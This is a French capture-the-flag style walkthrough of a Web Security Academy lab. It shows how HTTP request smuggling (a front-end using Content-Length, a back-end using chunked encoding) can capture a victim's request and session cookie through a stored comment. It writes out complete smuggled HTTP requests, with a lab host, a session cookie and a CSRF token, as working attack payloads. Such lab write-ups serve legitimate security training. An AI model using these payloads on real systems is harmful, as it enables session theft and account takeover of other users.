Capturer les requêtes d’autres utilisateurs

Exploiting HTTP request smuggling to capture other users' requests

Lab: Exploiting HTTP request smuggling to capture other users' requests | Web Security AcademyWebSecAcademy

Le laboratoire met en place un serveur front-end et un serveur back-end. Le front-end ne prend pas en charge le chunked encoding. L’objectif est de smuggler une requête vers le back-end afin que la requête du prochain utilisateur soit stockée par l’application. Ensuite, il faut récupérer cette requête et utiliser les cookies de la victime pour accéder à son compte.

Le laboratoire simule un utilisateur victime : toutes les quelques requêtes POST envoyées, la victime exécute sa propre requête. Il est parfois nécessaire de répéter l’attaque plusieurs fois.

Bien que le lab permette l’HTTP/2, la solution doit obligatoirement utiliser HTTP/1, car certaines techniques ne sont possibles que dans ce protocole.

Le front-end interprète Content-Length, tandis que le back-end traite Transfer-Encoding: chunked, créant un décalage exploitable.

L’extension Burp HTTP Request Smuggler peut aider à corriger manuellement les longueurs.

1. Requête interprétée par le front-end

Le front-end lit Content-Length: 13, puis voit aussi Transfer-Encoding: chunked :

Content-Type: application/x-www-form-urlencoded

Content-Length: 13

Transfer-Encoding: chunked



0



postId=6

On ajoute ensuite, après la fin du chunk (0), une requête supplémentaire destinée au back-end.

2. Injection d’une requête POST pour publier un commentaire

Tu construis une requête smuggled contenant une seconde requête complète :

POST / HTTP/1.1

Host: 0a36007e032121be824c43d100150069.web-security-academy.net

Content-Type: application/x-www-form-urlencoded

Content-Length: 285

Transfer-Encoding: chunked



0



postId=6

POST /post/comment HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Cookie: session=jjCIZY2wVTQVhJ6tfWqnEV3pftTw4Rus

Content-Length: 130
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=6&comment=test&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com

Résultat : La requête smuggled est traitée comme si elle provenait de votre propre session, et l’application publie le commentaire.

3. Forcer la victime à publier un commentaire

Tu modifies le corps pour :

csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=6&comment=HackedByJordan&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com

POST / HTTP/1.1

Host: 0a36007e032121be824c43d100150069.web-security-academy.net

Content-Type: application/x-www-form-urlencoded

Content-Length: 287

Transfer-Encoding: chunked



0



POST /post/comment HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Cookie: session=jjCIZY2wVTQVhJ6tfWqnEV3pftTw4Rus

Content-Length: 134



csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=7&comment=HackedByJordan&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com

et envoies une requête similaire. Lors du rechargement, l’application affiche Thanks for your comment, ce qui indique que la victime a publié ce commentaire.

4. Préparer la capture de la requête de la victime

Pour capturer la requête entière de l’utilisateur victime, tu augmentes fortement le Content-Length afin que le back-end consomme la requête suivante comme contenu :

Content-Length: 1000



csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=4&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com&comment=HACKED

La prochaine requête envoyée par la victime est alors absorbée dans le corps attendu… et elle devient consultable dans le stockage de l’application.